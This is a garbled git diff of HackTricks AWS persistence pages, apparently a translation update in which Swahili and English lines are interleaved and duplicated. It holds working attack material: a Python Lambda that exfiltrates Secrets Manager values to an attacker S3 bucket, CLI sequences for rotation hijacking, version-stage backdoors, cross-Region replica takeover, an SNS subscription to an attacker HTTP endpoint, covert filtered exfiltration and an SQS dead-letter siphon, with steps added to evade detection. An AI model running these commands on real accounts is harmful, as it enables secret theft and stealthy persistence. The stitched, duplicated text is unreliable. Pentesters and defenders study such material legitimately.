- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.
## Canvas miongoni mwa akaunti model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
Tumia vibaya SageMaker Canvas user settings ili kimya-kimya kupangia tena (redirect) model registry writes kwa akaunti inayodhibitiwa na mshambuliaji kwa kuwezesha ModelRegisterSettings na kuelekeza CrossAccountModelRegisterRoleArn kwa role ya mshambuliaji katika akaunti nyingine.
Abuse SageMaker Canvas user settings to silently redirect model registry writes to an attacker-controlled account by enabling ModelRegisterSettings and pointing CrossAccountModelRegisterRoleArn to an attacker role in another account.
Required permissions
Ruhusa zinazohitajika
- sagemaker:UpdateUserProfile on the target UserProfile
- Optional: sagemaker:CreateUserProfile on a Domain you control
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -10,76 +10,67 @@ For more info check:
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}
### Via Resource Policies
### Kupitia Sera za Rasilimali
It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
Inawezekana **kutoa upatikanaji wa siri kwa akaunti za nje** kupitia sera za rasilimali. Angalia [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) kwa maelezo zaidi. Kumbuka kwamba ili **kupata siri**, akaunti ya nje itahitaji pia **ufikiaji wa KMS key inayofanya encryption ya siri hiyo**.
### Via Secrets Rotate Lambda
### Kupitia Secrets Rotate Lambda
To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
Ili **kupangilia upya siri** kiotomatiki, **Lambda** iliyosanifiwa inaitwa. Ikiwa mshambuliaji angeweza **kubadilisha** **code** angeweza moja kwa moja **exfiltrate the new secret** to himself.
This is how lambda code for such action could look like:
```python
import boto3
def rotate_secrets(event, context):
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Create a Secrets Manager client
client = boto3.client('secretsmanager')
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Retrieve the current secret value
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
# Rotate the secret by updating its value
new_secret_value = rotate_secret(secret_value)
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
# Perform the rotation logic here, e.g., generate a new password
# Perform the rotation logic here, e.g., generate a new password
# Example: Generate a new password
new_secret_value = generate_password()
# Example: Generate a new password
new_secret_value = generate_password()
return new_secret_value
return new_secret_value
def generate_password():
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
# Example: Generate a random password using the secrets module
import secrets
import string
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
return password
```
### Badilisha Lambda ya rotation kuwa kazi inayodhibitiwa na mshambuliaji kupitia RotateSecret
Tumia vibaya `secretsmanager:RotateSecret` ili kurebind secret kwa rotation Lambda inayodhibitiwa na mshambuliaji na kusababisha rotation ya papo hapo. Kazi hasidi inafanya exfiltrates versions za secret (AWSCURRENT/AWSPENDING) wakati wa hatua za rotation (createSecret/setSecret/testSecret/finishSecret) hadi attacker sink (mfano, S3 au external HTTP).
- Mahitaji
- Idhini: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- Secret id lengwa (`SecretId`) na rotation imewezeshwa au uwezo wa kuwezesha rotation.
- Athari
- Mshambuliaji anapata thamani(zi) za secret bila kubadilisha code halali ya rotation. Mabadiliko ni tu kwenye configuration ya rotation ili kuelekeza kwa Lambda ya mshambuliaji. Ikiwa hayataonekana, rotations zilizopangwa za baadaye zitaendelea kuitisha kazi ya mshambuliaji pia.
- Hatua za shambulio (CLI)
1) Andaa attacker sink na Lambda role
- Unda S3 bucket kwa exfiltration na execution role inayotegemewa na Lambda yenye idhini za kusoma secret na kuandika S3 (na logs/KMS kama inahitajika).
2) Deploy Lambda ya mshambuliaji ambayo kila hatua ya rotation inachukua thamani(zi) za secret na kuziandika S3. Logic ya rotation minimal inaweza tu kunakili AWSCURRENT hadi AWSPENDING na kuipromote katika finishSecret ili huduma iendelee kufanya kazi.
3) Rebind rotation na uitishe
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Thibitisha exfiltration kwa kuorodhesha prefix ya S3 kwa secret hiyo na kukagua artifacts za JSON.
5) (Hiari) Rudisha Lambda ya rotation ya asili ili kupunguza kugunduliwa.
### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
Abuse `secretsmanager:RotateSecret` to rebind a secret to an attacker-controlled rotation Lambda and trigger an immediate rotation. The malicious function exfiltrates the secret versions (AWSCURRENT/AWSPENDING) during the rotation steps (createSecret/setSecret/testSecret/finishSecret) to an attacker sink (e.g., S3 or external HTTP).
- Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
- Impact
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attackers function as well.
- Attack steps (CLI)
1) Prepare attacker sink and Lambda role
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
3) Rebind rotation and trigger
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
5) (Optional) Restore the original rotation Lambda to reduce detection.
- Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
- Mfano wa attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
- Handler: `lambda_function.lambda_handler`
```python
import boto3, json, os, base64, datetime
s3 = boto3.client('s3')
@@ -87,111 +78,107 @@ sm = boto3.client('secretsmanager')
BUCKET = os.environ['EXFIL_BUCKET']
def write_s3(key, data):
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
def lambda_handler(event, context):
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
# Exfil both stages best-effort
def getv(**kw):
try:
r = sm.get_secret_value(**kw)
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
except Exception as e:
return {'error': str(e)}
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
key = f"{sid.replace(':','_')}/{step}/{token}.json"
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
# Minimal rotation (optional): copy current->pending and promote in finishSecret
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
```
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
Abuse Secrets Manager version staging labels to plant an attacker-controlled secret version and keep it hidden under a custom stage (for example, `ATTACKER`) while production continues to use the original `AWSCURRENT`. At any moment, move `AWSCURRENT` to the attackers version to poison dependent workloads, then restore it to minimize detection. This provides stealthy backdoor persistence and rapid time-of-use manipulation without changing the secret name or rotation config.
Abuse Secrets Manager version staging labels ili kuweka toleo la secret linalodhibitiwa na mshambuliaji na kulificha chini ya custom stage (kwa mfano, `ATTACKER`) wakati production inaendelea kutumia asili ya `AWSCURRENT`. Wakati wowote, hamisha `AWSCURRENT` kwa toleo la mshambuliaji ili kuchafua workloads zinazotegemea, kisha urejeshe ili kupunguza uwezekano wa kugunduliwa. Hii inatoa stealthy backdoor persistence na udhibiti wa haraka wa time-of-use bila kubadilisha jina la secret au rotation config.
- Requirements
- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
- Target secret id in the Region.
- Mahitaji
- Ruhusa: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (kwa uhakikisho)
- ID ya secret lengwa katika Region.
- Impact
- Maintain a hidden, attacker-controlled version of a secret and atomically flip `AWSCURRENT` to it on demand, influencing any consumer resolving the same secret name. The flip and quick revert reduce the chance of detection while enabling time-of-use compromise.
- Athari
- Hifadhi toleo lililofichwa, linalodhibitiwa na mshambuliaji la secret na kwa atomiki ibadilishe `AWSCURRENT` kwa hilo unapoagizwa, ukiaathiri yeyote anayetatua jina la secret sawa. Kubadili na urejesho wa haraka hupunguza nafasi ya kugunduliwa huku ikiruhusu kuathiriwa kwa time-of-use.
- Attack steps (CLI)
- Preparation
- `export SECRET_ID=<target secret id or arn>`
- Hatua za mashambulizi (CLI)
- Maandalizi
- `export SECRET_ID=<target secret id or arn>`
<details>
<summary>CLI commands</summary>
<summary>Amri za CLI</summary>
```bash
# 1) Capture current production version id (the one holding AWSCURRENT)
CUR=$(aws secretsmanager list-secret-version-ids \
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
--secret-id "$SECRET_ID" \
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
--output text)
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
BACKTOK=$(uuidgen)
aws secretsmanager put-secret-value \
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
--secret-id "$SECRET_ID" \
--client-request-token "$BACKTOK" \
--secret-string {backdoor:hunter2!}
# 3) Restore production and hide attacker version under custom stage
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
--secret-id "$SECRET_ID" \
--version-stage ATTACKER \
--move-to-version-id "$BACKTOK"
# Verify stages
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
# 4) On-demand flip to the attackers value and revert quickly
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$BACKTOK" \
--remove-from-version-id "$CUR"
# Validate served plaintext now equals the attacker payload
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
# Revert to reduce detection
aws secretsmanager update-secret-version-stage \
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
--secret-id "$SECRET_ID" \
--version-stage AWSCURRENT \
--move-to-version-id "$CUR" \
--remove-from-version-id "$BACKTOK"
```
</details>
- Notes
- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
- Vidokezo
- When you supply `--client-request-token`, Secrets Manager uses it as the `VersionId`. Adding a new version without explicitly setting `--version-stages` moves `AWSCURRENT` to the new version by default, and marks the previous one as `AWSPREVIOUS`.
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
- Requirements
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- In the replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) to allow the attacker principal `kms:Decrypt`.
- An attacker principal (user/role) to receive read access to the promoted secret.
- Mahitaji
- Ruhusa: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Katika Region ya nakala: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (or `kms:PutKeyPolicy`) ili kumruhusu principal wa mshambulizi `kms:Decrypt`.
- Principal wa mshambulizi (mtumiaji/cheo) ili kupokea haki ya kusoma kwenye siri iliyopromote.
- Impact
- Persistent cross-Region access path to the secret value through a standalone replica under an attacker-controlled KMS CMK and permissive resource policy. The primary secret in the original Region is untouched.
- Athari
- Njia ya kudumu ya kupata thamani ya siri kuvuka-Region kupitia nakala huru iliyo chini ya KMS CMK inayodhibitiwa na mshambulizi na resource policy yenye ruhusa. Siri ya msingi katika Region ya asili haijabadilishwa.
- Attack (CLI)
- Vars
- Vars
```bash
export R1=<primary-region> # e.g., us-east-1
export R2=<replica-region> # e.g., us-west-2
@@ -199,41 +186,33 @@ export SECRET_ID=<secret name or ARN in R1>
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
```
1) Create attacker-controlled KMS key in replica Region
1) Unda KMS key inayodhibitiwa na mshambuliaji katika replica Region
```bash
cat > /tmp/kms_policy.json <<'JSON'
{"Version":"2012-10-17","Statement":[
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
]}
JSON
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
--query KeyMetadata.KeyId --output text)
--query KeyMetadata.KeyId --output text)
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
```
2) Replicate the secret to R2 using the attacker KMS key
2) Nakili siri kwa R2 kwa kutumia attacker KMS key
```bash
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
```
3) Promote the replica to standalone in R2
3) Inua nakala kuwa pekee katika R2
```bash
# Use the secret name (same across Regions)
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
```
4) Attach permissive resource policy on the standalone secret in R2
4) Ambatisha permissive resource policy kwenye standalone secret katika R2
```bash
cat > /tmp/replica_policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -241,9 +220,7 @@ JSON
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
```
5) Read the secret from the attacker principal in R2
5) Soma secret kutoka kwa attacker principal katika R2
```bash
# Configure attacker credentials and read
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text

View File

@@ -1,117 +1,114 @@
# AWS - SNS Persistence
# AWS - SNS Uendelevu
{{#include ../../../../banners/hacktricks-training.md}}
## SNS
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-sns-enum.md
{{#endref}}
### Persistence
### Uendelevu
When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
Wakati wa kuunda **SNS topic** unahitaji kutaja kwa sera ya IAM **nani ana haki ya kusoma na kuandika**. Inawezekana kutaja akaunti za nje, ARN of roles, au **hata "\*"**.\
Sera ifuatayo inawapa kila mtu ndani ya AWS upatikanaji wa kusoma na kuandika kwenye SNS topic inayoitwa **`MySNS.fifo`**:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
```
### Unda Subscribers
### Create Subscribers
To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
Ili kuendelea exfiltrating ujumbe wote kutoka kwa topics zote, attacker anaweza **create subscribers for all the topics**.
Kumbuka kwamba ikiwa **topic ni ya aina FIFO**, subscribers wanayotumia protocol **SQS** tu wanaweza kutumika.
```bash
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
### Uondoaji wa siri, wa kuchagua kupitia FilterPolicy kwenye MessageBody
Mshambulizi aliye na `sns:Subscribe` na `sns:SetSubscriptionAttributes` kwenye topic anaweza kuunda subscription ya SQS ya kujiweka kwa siri ambayo inatuma mbele ujumbe tu ambao body yake ya JSON inalingana na filter nyembamba sana (kwa mfano, `{"secret":"true"}`). Hii inapunguza wingi na uwezekano wa kugunduliwa huku bado ikiruhusu uondoaji wa siri wa rekodi nyeti.
**Potential Impact**: Uondoaji wa siri, wa kelele ndogo wa ujumbe za SNS zilizolengwa tu kutoka kwenye topic ya mhanga.
Hatua (AWS CLI):
- Hakikisha policy ya queue ya mshambuliaji ya SQS inaruhusu `sqs:SendMessage` kutoka kwa `TopicArn` ya mhanga (Condition `aws:SourceArn` ni sawa na `TopicArn`).
- Unda subscription ya SQS kwenye topic:
```bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
```
### Covert, selective exfiltration via FilterPolicy on MessageBody
- Weka filter ifanye kazi kwenye message body na ulingane tu `secret=true`:
An attacker with `sns:Subscribe` and `sns:SetSubscriptionAttributes` on a topic can create a stealthy SQS subscription that only forwards messages whose JSON body matches a very narrow filter (for example, `{"secret":"true"}`). This reduces volume and detection while still exfiltrating sensitive records.
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
```
**Potential Impact**: Covert, low-noise exfiltration of only targeted SNS messages from a victim topic.
- Hiari ya kificho: washa RawMessageDelivery ili tu payload ghafi ifikie mpokeaji:
Steps (AWS CLI):
- Ensure the attacker SQS queue policy allows `sqs:SendMessage` from the victim `TopicArn` (Condition `aws:SourceArn` equals the `TopicArn`).
- Create SQS subscription to the topic:
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
```
```bash
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
```
- Uthibitisho: chapisha ujumbe mbili na thibitisha kuwa ni wa kwanza tu zile zinazofika kwenye queue ya mshambuliaji. Mfano wa payloads:
- Set the filter to operate on the message body and only match `secret=true`:
```json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
```
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
```
- Optional stealth: enable raw delivery so only the raw payload lands in the receiver:
```bash
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
```
- Validation: publish two messages and confirm only the first is delivered to the attacker queue. Example payloads:
```json
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
```
- Cleanup: unsubscribe and delete the attacker SQS queue if created for persistence testing.
- Usafishaji: unsubscribe na delete the attacker SQS queue if created for persistence testing.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,39 +4,37 @@
## SQS
For more information check:
Kwa maelezo zaidi angalia:
{{#ref}}
../../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
### Using resource policy
In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
### Kutumia sera ya rasilimali
Katika SQS unahitaji kuonyesha kwa sera ya IAM **nani ana ruhusa ya kusoma na kuandika**. Inawezekana kuonyesha akaunti za nje, ARN za roles, au **hata "\*"**.\
Sera ifuatayo inampa kila mtu ndani ya AWS ufikiaji kwa kila kitu katika foleni iitwayo **MyTestQueue**:
```json
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__owner_statement",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
}
]
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__owner_statement",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": ["SQS:*"],
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
}
]
}
```
> [!NOTE]
> You could even **trigger a Lambda in the attacker's account every time a new message** is put in the queue (you would need to re-put it). For this follow these instructions: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
> Unaweza hata **kuamsha Lambda kwenye akaunti ya mshambuliaji kila wakati ujumbe mpya unaowekwa kwenye queue** (utalazimika kuire-put). Kwa hili fuata maelekezo haya: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
### More SQS Persistence Techniques
### Mbinu Zaidi za SQS Persistence Techniques
{{#ref}}
aws-sqs-dlq-backdoor-persistence.md

View File

@@ -2,17 +2,17 @@
{{#include ../../../../banners/hacktricks-training.md}}
Abuse SQS Dead-Letter Queues (DLQs) to stealthily siphon data from a victim source queue by pointing its RedrivePolicy to an attacker-controlled queue. With a low maxReceiveCount and by triggering or awaiting normal processing failures, messages are automatically diverted to the attacker DLQ without changing producers or Lambda event source mappings.
Abusa SQS Dead-Letter Queues (DLQs) ili kunyonya data kwa siri kutoka kwenye queue ya chanzo ya mwathiriwa kwa kuelekeza RedrivePolicy yake kwenye queue inayodhibitiwa na mshambuliaji. Kwa maxReceiveCount ndogo na kwa kuchochea au kusubiri kushindwa kwa usindikaji wa kawaida, ujumbe unaelekezwa moja kwa moja kwenye DLQ ya mshambuliaji bila kubadilisha producers au Lambda event source mappings.
## Abused Permissions
- sqs:SetQueueAttributes on the victim source queue (to set RedrivePolicy)
- sqs:SetQueueAttributes on the attacker DLQ (to set RedriveAllowPolicy)
- Optional for acceleration: sqs:ReceiveMessage on the source queue
- Optional for setup: sqs:CreateQueue, sqs:SendMessage
## Ruhusa Zilizotumiwa Vibaya
- sqs:SetQueueAttributes kwenye queue ya chanzo ya mwathiriwa (kuweka RedrivePolicy)
- sqs:SetQueueAttributes kwenye DLQ ya mshambuliaji (kuweka RedriveAllowPolicy)
- Hiari kwa kuharakisha: sqs:ReceiveMessage kwenye queue ya chanzo
- Hiari kwa maandalizi: sqs:CreateQueue, sqs:SendMessage
## Same-Account Flow (allowAll)
## Mtiririko wa Akaunti Ile Ile (allowAll)
Preparation (attacker account or compromised principal):
Maandalizi (akaunti ya mshambuliaji au principal aliyevamiwa):
```bash
REGION=us-east-1
# 1) Create attacker DLQ
@@ -21,57 +21,51 @@ ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL"
# 2) Allow any same-account source queue to use this DLQ
aws sqs set-queue-attributes \
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
```
Execution (run as compromised principal in victim account):
Utekelezaji (endesha kama principal aliyevamiwa katika akaunti ya mwathiriwa):
```bash
# 3) Point victim source queue to attacker DLQ with low retries
VICTIM_SRC_URL=<victim source queue url>
